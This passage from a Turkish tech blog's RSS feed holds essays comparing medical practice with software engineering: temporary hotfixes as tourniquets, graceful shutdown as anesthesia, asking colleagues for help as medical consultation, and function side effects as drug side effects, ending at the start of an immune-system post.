<p>Çünkü turnike bir tedavi değildir. Turnike, hastayı ameliyathaneye yetiştirene kadar zaman kazandıran radikal bir <strong>geçici kısıtlamadır</strong>. O uzva giden tüm kan akışını durdurmuşsunuzdur. Eğer o turnike hastanın bacağında 2 saatten fazla kalırsa; oksijensiz kalan kas dokusu ölmeye başlar (iskemi), toksinler birikir ve sonunda o bacağı ameliyat masasında kesip ampute etmek zorunda kalırsınız. Hatta turnikeyi kontrolsüzce aniden gevşetirseniz, biriken o zehirli asitli kan kalbe hücum eder ve hastayı saniyeler içinde öldürür (turnike şoku).</p>
<p>Turnike hayat kurtarır; ama bir insanı sonsuza kadar turnikeyle yaşatamazsınız.</p>
<p>Peki yazılım dünyasında, özellikle kriz anlarında nasıl "mühendislik" yapıyoruz?</p>
<h3>Sunucuyu Her Gece Yeniden Başlatan Cron Job</h3>
<p>Yazılım sektöründe adına "Hotfix" veya "Geçici Çözüm" (Band-Aid Fix) dediğimiz şey, sahada attığımız o acil turnikeden farksızdır.</p>
<p>Canlı ortamda (production) bir bellek sızıntısı (memory leak) başlar. Node.js veya Java servisi her 12 saatte bir RAM'i sonuna kadar tüketip kilitleniyordur. Gece saat 03:00'te uyanan mühendis panikle problemi çözmeye çalışır. Kök nedeni bulacak vakit yoktur; çünkü müşteriler kapıdadır.</p>
<p>Hemen bir geçici çözüm bulunur:<br>
Sunucuya bir cron job eklenir: <code>0 4 * * * systemctl restart api-service</code><br>
<em>(Her gece saat 04:00'te servisi yeniden başlat.)</em></p>
<p>Hizmet yeniden ayağa kalkar, bellek temizlenir, Slack'teki kriz kanalı rahat bir nefes alır: <em>"Tamam, sorunu çözdük."</em></p>
<p>Hayır, sorunu çözmediniz. Siz sadece kanayan damara turnike sıktınız.</p>
<p>Ve asıl felaket tam bu noktada başlar: O cron job, sistemin içinde unutulur. Jira tahtasında açılan o <em>"Memory leak kök nedenini araştır"</em> bileti, bir sonraki sprint'e, oradan diğer sprint'e ertelenir. Çünkü ürün yöneticisi der ki: <em>"Nasılsa sistem çalışıyor, geceleri restart atıyoruz, şimdi önceliğimiz müşteriye yeni raporlama sayfasını yetiştirmek."</em></p>
<p>Ve o bacak, üzerinde turnikeyle aylarca, hatta yıllarca yürütülmeye çalışılır.</p>
<h3>Turnike Çöplüğüne Dönen Mimariler</h3>
<p>Zamanla şirketlerin kod tabanları adeta birer savaş gazisi hastanesine döner. Her köşe başında geçici bir bant, her fonksiyonda acil atılmış bir turnike görürsünüz:</p>
<ul>
<li>Veritabanı sorgusu kilitlendiği için sorgu süresi limitini (query timeout) 5 saniyeden 60 saniyeye çekip sorunu halının altına süpürenler,</li>
<li>Patlayan bir API endpoint'ini bulup düzeltmek yerine, önüne bir <code>try/catch</code> koyup kullanıcıya sessizce boş dizi <code>[]</code> dönenler,</li>
<li>İki servis arasındaki senkronizasyon hatasını çözmek yerine, kuyruğa mesajı 5 kez tekrar gönderen (retry loop) agresif döngüler kurup veritabanını boğanlar...</li>
</ul>
<p>Bu çözümlerin hepsi kriz anında kabul edilebilir turnikelerdir. O gece için hayat kurtarmışlardır.</p>
<p>Ama onları kalıcı tedavi zannettiğiniz gün, mühendislik namusunuzu kaybetmişsiniz demektir. Bir sistemin her yerine turnike sıktığınızda; bir süre sonra dokular oksijensiz kalır. Yeni bir özellik eklemek imkânsız hale gelir; çünkü her köşe başındaki geçici yama, diğer geçici yamayla çatışmaya başlar.</p>
<p>Ve sonunda, basit bir bellek sızıntısını zamanında ameliyat etmediğiniz için, tüm mimariyi çöpe atıp sıfırdan yazmak zorunda kalırsınız. Tıpkı zamanında açılmayan turnike yüzünden bacağın ampute edilmesi gibi.</p>
<h3>Turnikenin Üzerine Saat Yazmak</h3>
<p>Gerçek bir profesyonel, kriz anında geçici yama yapmaktan utanmaz. Pragmatizm bunu gerektirir; yangın anında önce alevi söndürürsünüz, binanın yalıtımını sonra tartışırsınız.</p>
<p>Ancak gerçek bir mühendis ile günü kurtaran bir teknisyen arasındaki fark şudur:<br>
<strong>Gerçek mühendis, attığı her hotfix'in üzerine o saati yazar.</strong></p>
<p>Eğer bir gece yarısı acil bir yama (turnike) attıysanız;</p>
<ol>
<li>Ertesi sabah o yamanın üzerine kırmızı bir uyarı koyarsınız: <code>// TEMPORARY HOTFIX: Ticket #4821 - Kök neden çözülene kadar geçici bypass.</code></li>
<li>İlk sprint planlamasında masaya vurur ve o teknik borcun kalıcı ameliyatını planlatırsınız.</li>
<li>Kanamayı durduran geçici yamayı, sistemin kalıcı bir organı gibi benimsemezsiniz.</li>
</ol>
<p>Turnikeyle koşamazsınız. Turnikeyle maraton tamamlayamazsınız.</p>
<p>Kanamayı durdurduktan sonra hastayı ameliyathaneye alacak cesaretiniz ve disiplininiz yoksa; yaptığınız şey mühendislik değil, sadece yavaşlatılmış bir intihardır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>hotfix</category>
            <category>turnike</category>
            <category>teknik-borc</category>
            <category>paramedik</category>
            <category>kriz-yonetimi</category>
            <category>muhendislik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gecici-cozum-band-aid-fix-ve-kronik-tedavi-turnike-sikarak-proje-yonetilmez/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Anestezi ve "Graceful Shutdown": Bir Sistemi/Bedeni Hasarsız Şekilde Uyutmak]]></title>
            <link>http://localhost:3000/blog/post/anestezi-ve-graceful-shutdown-bir-sistemibedeni-hasarsiz-sekilde-uyutmak</link>
            <guid>anestezi-ve-graceful-shutdown-bir-sistemibedeni-hasarsiz-sekilde-uyutmak</guid>
            <pubDate>Wed, 12 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir hastayı anestezi altına alırken tüm hayati fonksiyonlar adım adım, kontrollü bir şekilde yavaşlatılır. Sunucu tarafında da bir servisi kapatırken sistemi nazikçe kapatma (Graceful Shutdown) mimarisi üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/anestezi-ve-graceful-shutdown-bir-sistemibedeni-hasarsiz-sekilde-uyutmak/thumbnail" alt=""> Bir hastayı büyük bir ameliyata hazırlarken, ameliyathane kapısından içeri girdiği andan masada uyutulduğu ana kadar geçen süreci hiç düşündünüz mü?</p>
<p>Tarihin karanlık çağlarında cerrahlar hastaların kafasına tahta tokmakla vurur, yüksek dozda alkol içirir veya birkaç güçlü adamla kollarını bacaklarını masaya bağlayıp ameliyat yapardı. O ilkel yöntemler bedende devasa bir şok, yırtılan kaslar ve çoğu zaman ameliyat masasından kalkamayan kalpler bırakırdı.</p>
<p>Oysa modern anesteziyoloji bir tıp bilimi olduğu kadar, insan bedeninin sınırlarına duyulan en zarif nezaket sanatıdır.</p>
<p>Anestezi uzmanı hastanın başına geçer. Asla tek bir şırıngayla hastayı aniden bayıltmaz. Süreç kusursuz bir koreografiyle basamaklandırılmıştır:<br>
Önce hastanın ciğerleri saf oksijenle doldurulur (Pre-oksijenasyon). Ardından damardan hafif bir sakinleştirici (sedatif) verilir; zihin sakinleşir. Sonra hipnotik bir ilaçla (Propofol) bilinç yavaşça uykuya daldırılır. Hemen ardından kas gevşetici verilir; hastanın kendi solunumu durduğu o mikrosaniyede soluk borusuna entübasyon tüpü yerleştirilir ve mekanik ventilatör nefes aldırmaya başlar.</p>
<p>Beden sarsılmaz. Kalp ritmi bozulmaz. Beyin bir travma yaşamaz. Canlı bir organizma, hücre hücre, adım adım ve kontrollü bir şekilde uyku moduna geçirilir.</p>
<p>Ameliyat bittiğinde de aynı zarafetle uyanma süreci başlar. İlaçlar kesilir, reflekslerin geri gelmesi beklenir, akciğerler kendi nefesini almaya başladığında tüp çekilir.</p>
<p>Peki, yazılım dünyasında sunucularımızı, mikroservislerimizi veya container'larımızı kapatırken ne yapıyoruz?</p>
<h3><code>kill -9</code>: Sistemin Kafasına Tokmakla Vurmak</h3>
<p>Yazılım dünyasının en vahşi, en kaba ve en barbar komutunu hepimiz biliriz:<br>
<code>kill -9 &#x3C;PID></code> <em>(SIGKILL)</em></p>
<p>Bu komut işletim sistemine şunu söyler: <em>"Bu sürecin ne yaptığı umurumda değil. Bellekte ne tuttuğuna bakma, nereye ne yazdığını sorma. Hemen şimdi, bu milisaniyede kafasına sık ve yok et!"</em></p>
<p>Yeni bir deployment çıktığında, Kubernetes pod'larını güncellerken veya sunucuyu yeniden başlatırken kötü kurgulanmış mimarilerin yaptığı tam olarak budur.</p>
<p>Eski container'a aniden ölüm sinyali gönderilir. O sırada ne oluyordur biliyor musunuz?</p>
<ul>
<li>Bir kullanıcı tam kredi kartı bilgilerini girmiş, "Öde" butonuna basmıştır; ödeme API'si bankaya isteği göndermiş ama cevabı veritabanına yazamadan sunucunun fişi çekilmiştir. Kullanıcının kartından para düşer ama sipariş oluşmaz.</li>
<li>Veritabanına 100 bin satırlık kritik bir tablo indeksi yazılıyordur; işlem yarıda kalır ve veritabanı kilitlenir.</li>
<li>Arka planda bir kuyruktan (Kafka, RabbitMQ) çekilen mesaj işlenirken süreç ölür; mesaj arafta kalır ve kaybolur.</li>
<li>Kullanıcıların tarayıcılarına o meşhur, çirkin hata fırlar: <code>502 Bad Gateway</code>.</li>
</ul>
<p>Bu mühendislik değildir. Bu, ameliyathanede hastanın fişini aniden prizden çekip <em>"Yeni makineyi takıyoruz, idare edin"</em> demekle aynı ilkelliktir.</p>
<h3>Graceful Shutdown: Dijital Anestezi</h3>
<p>İşte bu barbarlığı engelleyen mimari prensibe bilgisayar bilimlerinde <strong>"Graceful Shutdown" (Nazikçe / Hasarsız Kapatma)</strong> denir.</p>
<p>Graceful Shutdown, işletim sisteminin sürece gönderdiği <code>SIGTERM</code> (Sonlandırma İsteği) sinyalini bir anestezi protokolü gibi karşılamak demektir:</p>
<ol>
<li><strong>Yeni Hasta Alımını Durdur (Stop Ingress):</strong> Servis <code>SIGTERM</code> sinyalini aldığı an, önce Load Balancer'a veya Service Mesh'e haber verir: <em>"Ben uykuya geçiyorum, artık bana yeni HTTP isteği gönderme."</em> Sağlık kontrolü (health-check) endpoint'i kendini pasife çeker. Trafik diğer sağlıklı sunuculara akar.</li>
<li><strong>Masadaki Ameliyatları Bitir (Drain In-Flight Requests):</strong> O an içeride işlem görmekte olan mevcut isteklere bir süre tanınır (örneğin 15-30 saniye). Kullanıcının devam eden ödemesi tamamlanır, veritabanına son onay yazılır ve kullanıcıya <code>200 OK</code> cevabı dönülür. Hiçbir müşteri kapıda bırakılmaz.</li>
<li><strong>Organları Sırayla Devreden Çıkar (Close Connections):</strong> İşlemler bittikten sonra açık olan veritabanı bağlantı havuzları (connection pools), Redis soketleri, Kafka dinleyicileri ve dosya tanıtıcıları (file descriptors) temizce kapatılır. Bellekteki kirli veriler diske yazılır.</li>
<li><strong>Huzur İçinde Uyu (<code>exit 0</code>):</strong> Ve nihayet, içeride tek bir açık işlem bile kalmadığında süreç işletim sistemine döner ve <em>"Ben işimi temizce bitirdim, şimdi beni kapatabilirsin"</em> diyerek huzurla kapanır.</li>
</ol>
<p>Kullanıcı bu deployment sırasında ne hisseder?<br>
Hiçbir şey. Tek bir milisaniyelik kesinti, tek bir hatalı istek, tek bir <code>502</code> görmez. Sistem nefes almaya devam eder.</p>
<h3>Kapatma Şekliniz Mühendislik Kalitenizdir</h3>
<p>Bir yazılımcının yetkinliğini anlamak istiyorsanız, bir servisi nasıl ayağa kaldırdığına değil; o servisi nasıl kapattığına bakın.</p>
<p>Bir sistemi başlatmak kolaydır: <code>npm start</code> yazarsınız, portu dinlersiniz ve her şey çalışır. Ama o sistemi kriz anında, yüksek yük altındayken veya rutin bir güncelleme sırasında tek bir kullanıcının canını yakmadan, tek bir veri baytını kaybetmeden uyutabilmek derin bir mimari olgunluk gerektirir.</p>
<p>Bedenimiz doğanın en kusursuz graceful shutdown mekanizmasıyla donatılmıştır. Her gece uykuya dalarken organlarımız adım adım rölantiye geçer; sabah uyanırken hormonlarımız adım adım bizi hayata hazırlar.</p>
<p>Kodlarınızı tokmakla bayıltmayı bırakın.<br>
Sistemlerinize bir anestezi uzmanının titizliğiyle yaklaşın.</p>
<p>Çünkü gerçek ustalık; sadece görkemli binalar inşa etmekte değil, o binanın ışıklarını kimseyi karanlıkta bırakmadan söndürebilme nezaketindedir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>graceful-shutdown</category>
            <category>anestezi</category>
            <category>devops</category>
            <category>mimari</category>
            <category>paramedik</category>
            <category>resilience</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/anestezi-ve-graceful-shutdown-bir-sistemibedeni-hasarsiz-sekilde-uyutmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Konsültasyon İstemek": Tıbbi Egoyu ve Yazılımcı Kibrini Bırakıp "Bilemedim" Diyebilmek]]></title>
            <link>http://localhost:3000/blog/post/konsultasyon-istemek-tibbi-egoyu-ve-yazilimci-kibrini-birakip-bilemedim-diyebilmek</link>
            <guid>konsultasyon-istemek-tibbi-egoyu-ve-yazilimci-kibrini-birakip-bilemedim-diyebilmek</guid>
            <pubDate>Tue, 11 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir hekimin tıkandığı noktada başka bir uzmandan konsültasyon istemesi zayıflık değil, hasta güvenliği için zorunluluktur. Yazılımcıların ise saatlerce tek başına bir bug karşısında çaresizce oturup yardım isteyememesinin faturası üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/konsultasyon-istemek-tibbi-egoyu-ve-yazilimci-kibrini-birakip-bilemedim-diyebilmek/thumbnail" alt=""> Hastanelerin acil servislerinde veya poliklinik koridorlarında en sık duyacağınız anonslardan veya dosya notlarından biri şudur:<br>
<em>"Kardiyoloji konsültasyonu istendi."</em><br>
<em>"Genel Cerrahi acil konsültasyon."</em></p>
<p>Bir acil tıp hekiminin önüne karmaşık, göğüs ağrısıyla birlikte atipik EKG bulguları olan ve bilinen böbrek yetmezliği bulunan bir hasta geldiğinde; hekim asla kapıyı kapatıp <em>"Ben 6 yıl tıp okudum, uzmanlığımı aldım, her şeyi tek başıma çözebilirim. Başka bir doktora sorarsam yetersiz olduğumu düşünürler"</em> demez.</p>
<p>Bunu diyen bir hekim bir dahi değil; hastasını mezara göndermeye hazırlanan tehlikeli bir narsisttir.</p>
<p>Hekim hiç vakit kaybetmeden telefonu kaldırır, nöbetçi kardiyoloğu ve nefroloğu arar. Hastanın bulgularını özetler ve çok net bir soru sorar: <em>"Bu EKG'deki dalga formunu ve potasyum yüksekliğini nasıl yorumluyorsunuz? Sizin uzmanlık alanınızdan bir gözle bakabilir misiniz?"</em></p>
<p>Tıpta <strong>Konsültasyon</strong>, asla bir acziyet veya bilgisizlik göstergesi değildir. Tam aksine, tıp etiğinin en kutsal kuralıdır: <strong>Kendi bilgi ve algı sınırlarının farkında olmak ve hastanın hayatını kişisel egonun üzerinde tutmak.</strong></p>
<p>Peki, aynı sahneyi modern bir yazılım ofisinde veya uzaktan çalışan bir mühendislik ekibinde canlandıralım. Ne görüyoruz?</p>
<h3>8 Saat Boyunca Aynı Koda Boş Boş Bakmak</h3>
<p>Yazılım sektörünün ofislerinde her gün sessiz, trajik ve inanılmaz derecede maliyetli bir gurur tiyatrosu sahnelenir.</p>
<p>Bir geliştirici karmaşık bir bug ile karşılaşır. Belki bir veritabanı kilitlenmesi, belki garip bir CSS taşması, belki de bir asenkron yarış durumu (race condition). Saat sabah 10:00'dur. Mühendis kodun başına oturur. Bir şey dener, olmaz. Başka bir şey dener, yine patlar.</p>
<p>Saat 13:00 olur. Gözleri kan çanağına dönmüştür.<br>
Saat 16:00 olur. Aynı üç satırlık fonksiyona ellinci kez bakar. Zihni artık felç olmuştur; tünel vizyonuna (tunnel vision) girmiştir, beyni artık harfleri bile ayırt edemiyordur.</p>
<p>Ama yan masada oturan veya Slack'te "aktif" görünen kıdemli çalışma arkadaşına dönüp şu iki kelimeyi bir türlü söyleyemez:<br>
<em>"Ben burada tıkandım. Bir 10 dakikan var mı, birlikte bakabilir miyiz?"</em></p>
<p>Neden söyleyemez biliyor musunuz?<br>
Çünkü bu sektör zehirli bir <strong>"Tek Başına Dünyayı Kurtaran 10x Rockstar Geliştirici"</strong> mitosuyla büyütülmüştür. Yardım istemek zayıflık gibi kodlanmıştır. Birine <em>"Ben bunu çözemedim"</em> demek; sahtekar sendromunu (imposter syndrome) tetikleyen, <em>"Acaba benim yetersiz olduğumu mu düşünürler?"</em> korkusunu körükleyen bir tabudur.</p>
<p>Ve o mühendis gününü heba eder. Şirketin binlerce liralık mesaisini yakar. Kendi psikolojisini paramparça eder.</p>
<p>Sonra ne olur?<br>
Akşam saat 18:30'da masanın yanından geçen biri ekrana şöyle bir bakar ve der ki: <em>"Kanka, 42. satırda değişken ismini yanlış yazmışsın, 'user_id' yerine 'userId' yazıyor."</em></p>
<p>Sekiz saatlik o devasa dram, ikinci bir çift gözün 5 saniyelik bakışıyla buharlaşır gider.</p>
<h3>Bilişsel Körlük ve İkinci Bir Beynin Gücü</h3>
<p>İnsan beyni, kendi yazdığı bir metindeki veya kodundaki mantık hatasını görmemek üzere evrimleşmiştir. Bir problemi saatlerce düşündüğünüzde, beyniniz artık gerçekte yazan şeyi değil; <strong>yazdığını sandığı şeyi</strong> görmeye başlar. Buna bilişsel körlük denir.</p>
<p>Tıpta bir cerrahın konsültasyon istemesinin sebebi de budur. Cerrah ameliyat masasındaki dokuya o kadar odaklanmıştır ki, hastanın anestezi monitöründeki ince bir detayı kaçırabilir. Kenarda duran ikinci bir uzmanın <em>"Hocam tansiyon düşüyor"</em> uyarısı hayat kurtarır.</p>
<p>Yazılımda konsültasyon istemek; zayıflık değil, sisteminizi bu bilişsel körlükten kurtaracak bir güvenlik sigortasıdır:</p>
<ul>
<li><strong>Ego Değil, Problem Odaklılık:</strong> Masadaki asıl hedef sizin ne kadar zeki olduğunuzu kanıtlamak değildir; o biletin (task) çözülüp şirketin değer üretmesidir.</li>
<li><strong>Pair Programming (Eşli Programlama):</strong> İki mühendisin tek bir ekrana bakması "iki kat maliyet" değildir; 8 saatlik körlüğü 15 dakikaya indiren devasa bir verimlilik kaldıracıdır.</li>
<li><strong>"Bilemedim" Diyebilme Özgürlüğü:</strong> Bir ekipte junior'ından senior'ına kadar herkes <em>"Ben bu konuyu bilmiyorum, bana anlatabilir misin?"</em> diyebildiği gün, o ekip yenilmez bir öğrenme organizasyonuna dönüşür.</li>
</ul>
<h3>Kibrin Maliyetini Şirketler Öder</h3>
<p>Bir hastanede egosu yüzünden konsültasyon istemeyen bir doktor hastanın canına mal olur.<br>
Bir teknoloji şirketinde kibri yüzünden yardım istemeyen bir yazılımcı ise projenin gecikmesine, mimarinin yamalı bohçaya dönmesine ve ekibin tükenmesine neden olur.</p>
<p>Klavye başında tek başınıza acı çekmeyi bir kahramanlık zannetmeyi bırakın.<br>
Ekranın karşısında donup kaldığınızda, derin bir nefes alın ve yanınızdaki insana seslenin:<br>
<em>"Konsültasyon rica edebilir miyim?"</em></p>
<p>Göreceksiniz ki yardım istemek kıdeminizi eksiltmez; aksine sizi kibirli bir kod yazıcısından, olgun bir sistem mühendisine dönüştürür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>konsultasyon</category>
            <category>ego</category>
            <category>mentallik</category>
            <category>yazilim-kulturu</category>
            <category>paramedik</category>
            <category>takim-calismasi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/konsultasyon-istemek-tibbi-egoyu-ve-yazilimci-kibrini-birakip-bilemedim-diyebilmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Yan Etki" (Side Effect) Yönetimi: Bir İlacın Prospektüsü ile Bir Fonksiyonun Dokümantasyonu]]></title>
            <link>http://localhost:3000/blog/post/yan-etki-side-effect-yonetimi-bir-ilacin-prospektusu-ile-bir-fonksiyonun-dokumantasyonu</link>
            <guid>yan-etki-side-effect-yonetimi-bir-ilacin-prospektusu-ile-bir-fonksiyonun-dokumantasyonu</guid>
            <pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tıpta bir ilacın ağrıyı keserken karaciğere yük bindirmesi gibi; yazılımda da saf fonksiyon (pure function) yazmayıp dış bağımlılıkları değiştirdiğimizde ortaya çıkan beklenmedik yan etkilerin faturası üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yan-etki-side-effect-yonetimi-bir-ilacin-prospektusu-ile-bir-fonksiyonun-dokumantasyonu/thumbnail" alt=""> Eczaneden aldığınız en sıradan ağrı kesicinin bile kutusunu açtığınızda, içinden akordeon gibi katlanmış, küçük puntolarla basılmış upuzun bir kâğıt çıkar: <strong>İlaç Prospektüsü.</strong></p>
<p>Çoğu insan o kâğıdı okumadan çöpe atar. Oysa o minik kâğıt, farmakoloji biliminin insan hayatına duyduğu saygının en somut belgesidir. Orada sadece ilacın baş ağrınızı nasıl geçireceği yazmaz. Sayfalar boyunca şunlar sıralanır:<br>
<em>"Karaciğer enzimlerini yükseltebilir, mide mukozasında kanamaya yol açabilir, tansiyonu düşürebilir, astım hastalarında bronkospazmı tetikleyebilir..."</em></p>
<p>Farmakolojide bir kural vardır: <strong>Yan etkisi olmayan bir ilaç, etki de etmiyordur.</strong><br>
Bir kimyasalı biyolojik bir organizmaya soktuğunuzda, onun sadece tek bir organı hedef alıp geri kalan her şeyi tamamen masum bırakmasını bekleyemezsiniz. Başarılı bir hekim, sadece ilacın tedavi edici ana etkisine (terapötik etki) odaklanan değil; o ilacın vücudun diğer köşelerinde tetikleyeceği olası "yan etkileri" (side effects) öngören ve yöneten hekimdir.</p>
<p>Hastanın baş ağrısını kesip böbreğini iflas ettiren bir tedavi, tıp değil; cinayettir.</p>
<p>Peki yazılım dünyasına dönelim: Yazdığımız fonksiyonların, sınıfların ve modüllerin yan etkilerini ne kadar biliyor ve yönetiyoruz?</p>
<h3>Masum Görünen Fonksiyonların Gizli Suçları</h3>
<p>Fonksiyonel programlamanın (Functional Programming) en temel ve zarif kavramlarından biri <strong>"Pure Function" (Saf Fonksiyon)</strong> tanımıdır.</p>
<p>Saf bir fonksiyon, tıpkı matematiksel bir denklem gibidir (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi><mo>+</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">f(x) = x + 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>):</p>
<ol>
<li>Aynı girdi verildiğinde her zaman ama her zaman aynı çıktıyı üretir.</li>
<li>Kendi kapsamı (scope) dışındaki hiçbir şeyi değiştirmez. Dış dünyayla gizli bir temasa girmez.</li>
</ol>
<p>Peki gerçek hayattaki kod tabanlarında ne görüyoruz? Tam bir farmakolojik kaos.</p>
<p>Bir projeyi incelersiniz. Karşınıza şöyle bir fonksiyon çıkar:<br>
<code>getUserProfile(userId)</code></p>
<p>Fonksiyonun ismine ve imzasına bakarsınız; ne kadar masum, değil mi? Beklenti çok basittir: Kullanıcının ID'sini ver, sana kullanıcının profil bilgilerini içeren bir nesne dönsün.</p>
<p>Ama fonksiyonun gövdesini (implementasyonunu) açtığınızda dehşete düşersiniz:</p>
<ul>
<li>Kullanıcının profilini çekerken aynı anda arka planda veritabanındaki <code>last_active_at</code> sütununu güncelliyordur.</li>
<li>Yetmezmiş gibi, global bir <code>activeUserCount</code> sayacını bir artırıyordur.</li>
<li>O da yetmezmiş gibi, üçüncü parti bir analitik servisine sessizce bir HTTP isteği gönderiyordur.</li>
<li>Ve eğer analitik servisi zaman aşımına uğrarsa, profil bilgisini de getiremeyip hata fırlatıyordur!</li>
</ul>
<p>İşte bu, prospektüsü olmayan ve arkasında gizli cinayetler işleyen bir fonksiyondur.<br>
Siz sadece hastaya bir vitamin verdiğinizi sanırsınız; ama o vitamin gizlice hastanın kalbini durdurur.</p>
<h3>"Bunu Değiştirdim, Neden Orası Patladı?"</h3>
<p>Geliştiricilerin hayatını cehenneme çeviren o meşhur soruyu hatırlayın:<br>
<em>"Ben sadece kullanıcı profil sayfasındaki küçük bir detayı değiştirdim; ana sayfadaki sipariş modülü neden çöktü?"</em></p>
<p>Cevap basittir: <strong>Yönetilmeyen, belgelenmemiş ve gizlenmiş yan etkiler (unintended side effects).</strong></p>
<p>Bir fonksiyon, kendi parametreleri ve dönüş değeri dışındaki bir dünyayı kurcalamaya başladığında (global bir değişkeni değiştirmek, dosya sistemine bir şeyler yazmak, paylaşılan bir önbelleği geçersiz kılmak); sistemin öngörülebilirliği (determinism) yok olur.</p>
<p>Tıpkı aynı anda 5 farklı ilaç kullanan ve hangi ilacın hangi organı bozduğunu doktorların bir türlü çözemediği polifarmasi (çoklu ilaç zehirlenmesi) hastaları gibi; sisteminiz de kendi yan etkilerinin yarattığı kimyasal fırtınada boğulmaya başlar.</p>
<p>Bir kodu test edememenizin (untestable code) ana sebebi de budur. Bir fonksiyonun çalışması için arka planda 10 tane gizli servisin ayakta olması gerekiyorsa, o fonksiyon bir mühendislik harikası değil; bulaşıcı bir patojendir.</p>
<h3>Yan Etkileri Sınırlarda Tutmak</h3>
<p>Bir yazılım sisteminin tamamen yan etkisiz olması elbette imkânsızdır. Çünkü en nihayetinde bir yazılımın varoluş sebebi yan etki üretmektir: Veritabanına kayıt atmak, ekrana piksel basmak, ağ üzerinden paket yollamak birer yan etkidir. Yan etki olmazsa yazılım hiçbir işe yaramaz.</p>
<p>Ancak gerçek yazılım mimarisi, tıpkı iyi bir hekimlik gibi şu prensiple çalışır:<br>
<strong>Yan etkileri olabildiğince tecrit et (isolate), sınırda tut (boundaries) ve mutlaka belgele.</strong></p>
<ol>
<li><strong>İş Mantığını (Core Domain) Saf Tutun:</strong> Şirketinizin en kritik hesaplamaları, fiyatlandırma algoritmaları ve veri dönüşümleri saf fonksiyonlardan oluşmalıdır. Ne veritabanı bilmeli, ne HTTP bilmelidir. Sadece ham veriyi almalı, işlemeli ve sonucu dönmelidir. Böylece 10 yıl sonra bile o fonksiyonu gözünüz kapalı test edebilirsiniz.</li>
<li><strong>Yan Etkileri Dış Çepere İtin (I/O at the Edges):</strong> Veritabanı yazımları, ağ çağrıları ve kuyruk işlemleri sistemin en dış katmanında (Controller veya API handler) açık ve şeffaf bir şekilde yapılmalıdır. Fonksiyonun içinde gizlenmemelidir.</li>
<li><strong>Fonksiyonun Prospektüsünü Yazın:</strong> Bir fonksiyon dış dünyada bir şeyleri değiştiriyorsa, bunu isminde veya tip tanımında haykırmalıdır. <code>getUser()</code> değil, gerekiyorsa <code>getUserAndTrackAnalytics()</code> olmalıdır. Geliştirici o ilacı sisteme verdiğinde başına ne geleceğini bilmelidir.</li>
</ol>
<p>Ağrıyı kesmek maharet değildir. Maharet; hastanın karaciğerini, böbreğini ve kalbini koruyarak o ağrıyı dindirebilmektir.</p>
<p>Kod yazarken kendinize sorun:<br>
<em>"Bu fonksiyon sadece vaat ettiği işi mi yapıyor, yoksa arkasında gizlice bir organı iflasa mı sürüklüyor?"</em></p>
<p>Eğer bu sorunun cevabını veremiyorsanız; yazdığınız şey bir teknoloji değil, patlamaya hazır kimyasal bir zehirdir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>side-effect</category>
            <category>pure-functions</category>
            <category>farmakoloji</category>
            <category>dokumantasyon</category>
            <category>kod-kalitesi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yan-etki-side-effect-yonetimi-bir-ilacin-prospektusu-ile-bir-fonksiyonun-dokumantasyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[İmmün Sistem (Bağışıklık) ve Siber Güvenlik: Vücudun "Self / Non-Self" Ayrımı]]></title>
            <link>http://localhost:3000/blog/post/immun-sistem-bagisiklik-ve-siber-guvenlik-vucudun-self--non-self-ayrimi</link>
            <guid>immun-sistem-bagisiklik-ve-siber-guvenlik-vucudun-self--non-self-ayrimi</guid>
            <pubDate>Sun, 09 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İnsan bağışıklık sistemi, vücuda giren bir hücrenin "bizden mi" yoksa "yabancı mı" olduğunu anlamak üzerine kuruludur. Zero-Trust güvenlik mimarileri ile biyolojik savunma hattı arasındaki kusursuz paralellik.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/immun-sistem-bagisiklik-ve-siber-guvenlik-vucudun-self--non-self-ayrimi/thumbnail" alt=""> Biyoloji tarihinin en karmaşık, en acımasız ve en büyüleyici savunma organizasyonu insan bedeninin bağışıklık (immün) sistemidir. Her saniye, soluduğumuz havayla, dokunduğumuz yüzeylerle ve yediğimiz gıdalarla trilyonlarca bakteri, virüs ve mantar vücudumuza sızmaya çalışır.</p>
<p>Bedenimizin bu devasa saldırı altında çökmeden hayatta kalabilmesinin tek bir temel felsefi kuralı vardır:<br>
